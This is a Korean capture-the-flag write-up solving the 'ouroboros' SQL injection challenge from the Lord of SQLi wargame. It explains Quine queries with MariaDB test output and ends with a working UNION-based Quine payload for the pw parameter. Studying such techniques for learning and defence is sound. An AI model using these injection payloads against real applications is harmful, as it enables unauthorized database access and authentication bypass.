ouroboros
이 문제는 $result['pw] === $_GET['pw] 값이 일치해야 클리어가 가능하다.
조회된 행의 pw 컬럼 값과 사용자가 pw 파라미터로 입력한 값이 일치해야 하는데,
일단 이게 가능하려면 $result['pw'] 값은 공격자가 조작할 수 있어야 한다.

다행히도 홑따옴표와 UINION 절은 별도의 필터링 로직이 적용되어 있지 않았다.
그럼 일단 아래와 같이 쿼리문을 작성하면 $result['pw'] 값에 원하는 값을 넣어 뽑아낼 수 있을 것이다.
SELECT pw FROM prob_ouroboros WHERE pw='' UNION SELECT '{임의의 값}'%23
여기서 한 가지 문제가 발생하는데, 만약 공격자가 {임의의 값}으로 ThisIsFakePassword 라는 값을 뽑아냈다고 하자.
그럼 $result['pw'] 값은 ThisIsFakePassword 가 출력되겠지만,
$_GET['pw'] 값은 ' UNION SELECT 'ThisIsFakePassword'# 가 된다.
때문에 pw 컬럼에 원하는 값을 추출해도 $result['pw'] == '$_GET['pw'] 값은 일치할 수가 없게 된다.
이럴 때 어떤 방법을 사용해야 사용자가 삽입한 값과 조회된 컬럼의 값을 일치시킬 수 있을까?
이를 해결하기 위한 방법으로는 크게 2가지가 있을 수 있겠다.
- (1) 바로 INFORMATION_SCHEMA.PROCESSLIST 테이블의 info 컬럼을 이용하거나,
- (2) Quine Query 를 이용하는 것이다.
2가지 방법 모두 입력된 쿼리문을 컬럼 값으로 출력한다는 특징을 갖는다.
예를 들어, INFORMATION_SCHEMA.PROCESSLIST의 INFO 컬럼의 경우 아래와 같이 실행된 쿼리문 전체가 출력되고

Quine Query 도 마찬가지로 사용자가 입력한 쿼리문이 컬럼의 출력 값으로 출력된다.

문제에서는 _ 문자를 필터링 하고 있기 때문에 “INFORMATION_SCHEMA.PROCESSLIST” 테이블은 사용할 수 없다.
따라서, 이번 문제에서는 Quine Query 를 이용하여 실행된 쿼리문 전체에서 일부분만 사용하도록 유도하면 될 것 같다.

테스트를 위해 아래와 같이 Quine Query 를 작성하여 테스트를 진행해보았다.
MariaDB [(none)]> SET @A := 'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine';
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]> SELECT @A;
+----------------------------------------------------------------------+
| @A |
+----------------------------------------------------------------------+
| SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine |
+----------------------------------------------------------------------+
1 row in set (0.000 sec)
MariaDB [(none)]> SELECT REPLACE(REPLACE(@A,CHAR(34),CHAR(39)),CHAR(36),@A) AS Quine;
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Quine |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)상세분석
- (1) @A는 Quine Query 를 위한 일종의 템플릿이라고 가정한다.
@A := 'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine;'
- (2) 이제 공격자는
SELECT REPLACE(REPLACE(@A,CHAR(34),CHAR(39)),CHAR(36),@A) AS Quine;쿼리를 실행한다. - (3) 내부 REPLACE(@A,CHAR(34),CHAR(39)) 부분이 실행되면 쌍따옴표(“)가 홑따옴표(‘)로 변환되어 아래 결과를 반환한다.
SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),@A) AS Quine→ 이제 이 값을 S라고 지칭해보자.
- (4) 이제 바깥 REPLACE(S,CHAR(36),@A) 함수가 실행된다. 이 때, CHAR(36)은 $ 문자이며 이 값이 다시 @A 값으로 치환된다.
SELECT REPLACE(@A,CHAR(34),CHAR(39)),CHAR(36),@A) AS Quine
- 따라서, 결론적으로 최초에 실행한 쿼리문이 그대로 출력된다.
SET @A := 'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine';
[ . . . ]
SELECT REPLACE(REPLACE(@A,CHAR(34),CHAR(39)),CHAR(36),@A) AS Quine;이러한 조건을 활용하면 문제에서 pw 파라미터에 임의의 값을 삽입하고 삽입된 값과 출력된 값이 일치하도록 유도할 수 있다.
(Quine Query Example) SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
(ouroboros - Quine Query Payload) ?pw=' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%23',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%23')%23위 페이로드를 삽입하면 $result['pw'] == $_GET['pw'] 결과가 참이 되므로 OUROBOROS Clear! 가능하다.

Quine Query 를 수동으로 짜는건 머리가 조금 아프다.
이를 위해 ShySec 이라는 회사의 kelson 이라는 분이 Quine Query Generator 코드를 만들어 올려놓으셨다.
요걸 참고해서 사용해보면 더 쉽게 익스플로잇이 가능했을 것 같다. (Quine Query 정말ㅇ ㅓ렵ㄱ다..)

번외
사실 LOS 시리즈는 2026 UofTCTF의 No Quotes 3 문제에서 겪은 어려움을 해소하고자 시작하게 되었다.
No Quotes 3 문제는 Quine Query 를 이용하여 SQLi + SSTi 연계 공격을 수행하는 문제였다.
Quine Query 에 대한 개념 자체를 모르고 있어 풀 엄두도 내지 못하였는데, 이 기회에 개념을 정리하고자 했다.
(이제는 Quine Query 문제가 나와두 두렵지 않아요~ 두려워요)
정진하자.. 🐛.. 🐛.. 🐛..